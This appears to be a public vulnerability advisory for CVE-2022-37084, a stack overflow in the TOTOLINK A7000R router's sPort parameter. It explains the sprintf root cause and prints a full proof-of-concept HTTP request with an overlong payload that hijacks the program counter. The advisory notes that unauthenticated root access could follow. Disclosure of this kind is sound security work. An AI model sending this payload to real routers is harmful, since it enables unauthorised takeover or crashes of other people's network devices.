Headline
CVE-2022-37084: vuln/TOTOLINK/A7000R/10 at main · Darry-lang1/vuln
TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the sPort parameter at the addEffect function.
TOTOLink A7000R V9.1.0u.6115_B20201022 has a stack overflow vulnerability****Overview
- Manufacturer’s website information：https://www.totolink.net/
- Firmware download address ： https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/171/ids/36.html
Product Information
TOTOLink A7000R V9.1.0u.6115_B20201022 router, the latest version of simulation overview：
Vulnerability details
V8 is formatted into V16 through sprintf function, and V8 is the value of sPort we enter. The size of the format string is not limited, resulting in stack overflow.
Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
Boot the firmware by qemu-system or other ways (real machine)
Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 584 Origin: http://192.168.0.1 DNT: 1 Connection: close Cookie: SESSION_ID=2:1658224702:2 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Pragma: no-cache Cache-Control: no-cache
{"topicurl": "setting/setIpPortFilterRules","addEffect":"1","sPort": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
The above figure shows the POC attack effect
As shown in the figure above, we can hijack PC registers.
Finally, you can write exp to get a stable root shell without authorization.